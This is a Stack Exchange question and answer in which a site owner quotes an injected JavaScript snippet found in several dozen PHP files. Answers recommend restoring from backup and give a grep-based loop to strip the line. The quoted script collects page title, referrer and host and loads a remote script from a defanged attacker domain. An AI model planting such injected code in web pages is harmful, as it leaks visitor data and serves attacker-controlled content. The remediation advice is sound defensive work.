My site was hacked / infected. I replaced the url of the malicious link, but other elements in the malicious script are still making my site get blocked. Without inserting a hundred or so "escapes", how can I remove the following script from 3 dozen files on my site?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Other pages on stack-exchange do not answer this question.

To replace the malicious url with xxxx_hack_was_here etc, I used: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

  • 2
    Apply your backups to overwrite those files – Gilles Quenot Feb 11 '16 at 21:10
  • 1
    I second @GillesQuenot regarding backups. I hope you have a good set of recent backups. Otherwise, you will spend countless hours, trying to fix it and at the end you will ask yourself "if you missed something" – MelBurslan Feb 11 '16 at 21:17
  • My webhost (Bluehost)'s backup system broke, and they lost the backups. That's what their tech told me, word for word. They then linked me to the contract which says the backups are not guaranteed. Is it possible to replace the instances of the above long string without escaping every single non-alpha-numeric character? – Jonathon Neville Feb 12 '16 at 4:10

Firstly, I agree with the comments above: Don't use sed to recover from being hacked. You will always wonder if you missed something. Restore from backup, period.

However, the literal question you asked, how to remove a long string everywhere it appears without escaping every special character, is somewhat easier to handle.

I'm making some inferences/assumptions from your question which you didn't actually state directly:

  1. That the string to be removed is a single line.
  2. That it's the same each time it occurs.
  3. That it needs to be removed, not replaced with something else.

If the above assumptions are correct, do the following:

  1. Put the string to be removed (including any trailing whitespace) into a file by itself, called e.g. hackline.txt. Put this one level above the directory you're going to be handling.
  2. Copy your entire directory in case of mistakes.

    cp -a mydir mydircopy
  3. Run the following loop on your directory (or the copy) to remove all instances of the hackline:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"

The concept here is that you use hackline.txt as a list of fixed strings that must match the entire line, then you use grep to only get the lines that don't match that list of strings.

-x means "entire line"; -F means "fixed string, not regex"; -v inverts the search; -f accepts a list of patterns in a file.

If your website directory is hierarchical rather than flat (which is actually fairly likely), you could use find instead of a for loop:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

Then use a recursive diff to check that everything is as it should be:

diff -r mydircopy mydir

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.